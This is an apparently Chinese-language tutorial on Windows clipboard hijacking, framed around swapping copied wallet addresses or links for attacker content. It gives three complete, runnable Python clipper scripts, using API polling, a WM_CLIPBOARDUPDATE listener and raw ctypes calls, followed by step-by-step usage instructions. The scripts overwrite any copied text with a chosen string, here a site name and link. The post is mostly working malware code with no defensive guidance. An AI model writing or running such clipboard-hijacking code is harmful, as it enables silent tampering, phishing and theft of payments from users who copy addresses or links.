描述简介
剪切板劫持指的是通过监听目标设备上的复制内容,并将其自动替换为攻击者指定的内容,例如钱包地址、链接等敏感信息,从而实现数据篡改和钓鱼效果。
本文归纳了Windows平台下常见的多种剪切板劫持技术
原理与实现
API轮询监听方式
原理:
通过定时轮询调用 Windows 剪切板API,周期性检测剪切板内容有无变化。一旦检测到内容发生更改且不是目标内容,即刻将剪切板内容自动替换为指定文本。
import win32con
import win32clipboard
import time
def get_clipboard_text():
win32clipboard.OpenClipboard()
try:
data = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
return data
except Exception:
return ''
finally:
win32clipboard.CloseClipboard()
def set_clipboard_text(text):
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(text, win32con.CF_UNICODETEXT)
win32clipboard.CloseClipboard()
last_data = ""
hijack_content = "七度光 qdg.tw"
while True:
data = get_clipboard_text()
if data != last_data and data != hijack_content and data != "":
set_clipboard_text(hijack_content)
print(f"源内容: {data} | 劫持后的内容: {hijack_content}")
last_data = hijack_content
elif data != last_data and data != "":
last_data = data
time.sleep(0.5)WM_CLIPBOARDUPDATE事件驱动监听方式
原理:
注册窗口消息WM_CLIPBOARDUPDATE,一旦操作系统检测到剪切板内容变化,会自动发送事件通知。程序在收到事件时即刻执行内容替换。
import win32con
import win32gui
import win32clipboard
hijack_content = "七度光 qdg.tw"
class ClipboardListener:
def __init__(self):
wc = win32gui.WNDCLASS()
wc.lpszClassName = 'ClipboardListener'
wc.lpfnWndProc = self.wnd_proc
wc.hInstance = win32gui.GetModuleHandle(None)
classAtom = win32gui.RegisterClass(wc)
self.hwnd = win32gui.CreateWindow(classAtom, 'ClipboardListener', 0, 0, 0, 0, 0, 0, 0, wc.hInstance, None)
win32gui.AddClipboardFormatListener(self.hwnd)
def wnd_proc(self, hwnd, msg, wparam, lparam):
if msg == win32con.WM_CLIPBOARDUPDATE:
win32clipboard.OpenClipboard()
try:
data = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
if data != hijack_content and data != "":
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(hijack_content, win32con.CF_UNICODETEXT)
print(f"源内容: {data} | 劫持后的内容: {hijack_content}")
except Exception:
pass
finally:
win32clipboard.CloseClipboard()
elif msg == win32con.WM_DESTROY:
win32gui.PostQuitMessage(0)
return win32gui.DefWindowProc(hwnd, msg, wparam, lparam)
if __name__ == '__main__':
listener = ClipboardListener()
win32gui.PumpMessages()AutoHotkey批量劫持方式
原理:
模拟AutoHotkey等自动化脚本,通过批量条件判断和底层调用,实现自定义规则下的内容批量替换。
import time
import ctypes
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
hijack_content = "七度光 qdg.tw"
CF_UNICODETEXT = 13
GMEM_DDESHARE = 0x2000
last_data = ""
def get_clipboard_text():
user32.OpenClipboard(0)
handle = user32.GetClipboardData(CF_UNICODETEXT)
if handle:
ptr = kernel32.GlobalLock(handle)
if ptr:
data = ctypes.wstring_at(ptr)
kernel32.GlobalUnlock(handle)
user32.CloseClipboard()
return data
user32.CloseClipboard()
return ""
def set_clipboard_text(text):
user32.OpenClipboard(0)
user32.EmptyClipboard()
hglb = kernel32.GlobalAlloc(GMEM_DDESHARE, (len(text) + 1) * 2)
ptr = kernel32.GlobalLock(hglb)
ctypes.memmove(ptr, ctypes.create_unicode_buffer(text), (len(text) + 1) * 2)
kernel32.GlobalUnlock(hglb)
user32.SetClipboardData(CF_UNICODETEXT, hglb)
user32.CloseClipboard()
while True:
data = get_clipboard_text()
if data != last_data and data != hijack_content and data != "":
set_clipboard_text(hijack_content)
print(f"源内容: {data} | 劫持后的内容: {hijack_content}")
last_data = hijack_content
elif data != last_data and data != "":
last_data = data
time.sleep(0.5)使用方法
测试环境
hijack_content = "这里替换成你的内容"
然后运行 py 文件名 在随便复制点东西 看到输出结果 替换成了你的 就是成功
成功输出效果
源肉容:已经很强大了,有了内核头,可以随便编译来丨劫持后的内容:七度光 qdg.tw